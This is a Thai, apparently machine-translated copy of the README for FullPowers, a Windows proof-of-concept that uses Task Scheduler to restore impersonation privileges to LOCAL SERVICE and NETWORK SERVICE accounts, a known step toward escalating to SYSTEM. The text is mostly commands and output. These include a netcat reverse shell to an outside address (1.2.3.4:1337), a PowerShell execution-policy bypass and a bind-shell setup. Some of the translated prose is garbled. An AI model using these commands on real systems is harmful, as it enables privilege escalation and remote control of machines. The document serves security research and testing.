FullPowers เป็นเครื่องมือ Proof-of-Concept ที่ฉันสร้างขึ้นเพื่อกู้คืน ชุดสิทธิ์เริ่มต้น ของบัญชีบริการโดยอัตโนมัติ รวมถึง SeAssignPrimaryToken และ SeImpersonate
บน Windows บริการบางอย่างที่ทำงานเป็น LOCAL SERVICE
หรือ NETWORK SERVICE
ได้รับการกำหนดค่าให้ ทำงานด้วยชุดสิทธิ์ที่จำกัด ดังนั้น แม้ว่าบริการจะถูกบุกรุก คุณจะไม่ได้รับสิทธิ์ในการเลียนแบบสีทอง และการเพิ่มสิทธิ์ไปยัง LOCAL SYSTEM
น่าจะซับซ้อนกว่านี้ อย่างไรก็ตาม ฉันพบว่าเมื่อคุณ สร้างงานที่กำหนดเวลาไว้ กระบวนการใหม่ที่สร้างโดย Task Scheduler Service จะมี สิทธิ์เริ่มต้นทั้งหมด ของบัญชีผู้ใช้ที่เกี่ยวข้อง (ยกเว้น SeImpersonate ) ดังนั้น ด้วยการปรับเปลี่ยนโทเค็นบางอย่าง คุณสามารถวางไข่กระบวนการใหม่โดยมีสิทธิ์ที่ขาดหายไปทั้งหมด
การใช้งาน
LOCAL SERVICE
หรือ NETWORK SERVICE
เท่านั้น
คุณสามารถตรวจสอบข้อความช่วยเหลือได้โดยใช้ตัวเลือก -h
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
คุณต้องการทดสอบ PoC นี้ด้วยตัวเองหรือไม่? เยี่ยมมาก! ต่อไปนี้เป็นคำแนะนำง่ายๆ ในการเริ่มต้นใช้งาน
แนวคิดโดยรวมคือการเริ่มต้นbindshellจากกระบวนการของบริการที่มีอยู่ เชื่อมต่อกับบริการนั้นแล้วเรียกใช้ไฟล์ปฏิบัติการ
คุณจะต้องมีเครื่องมือของบุคคลที่สาม 2 อัน ได้แก่ netcat และ RunFromProcess
เลือกบริการที่มีสิทธิ์จำกัด เช่น upnphost
เปิด ตัวจัดการงาน ไปที่แท็บ บริการ และรับ PID ของกระบวนการที่เกี่ยวข้อง
ใช้คำสั่งต่อไปนี้เพื่อเริ่มbindshell ในฐานะผู้ดูแลระบบ :
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
ใช้คำสั่งต่อไปนี้เพื่อเชื่อมต่อกับbindshell:
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
เราจะเห็นได้ว่ากระบวนการปัจจุบันไม่มีสิทธิ์ในการเลียนแบบ ตอนนี้เรียกใช้ PoC...
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
ตอนนี้คุณควรมีเชลล์ ที่มีสิทธิ์เลียนแบบ !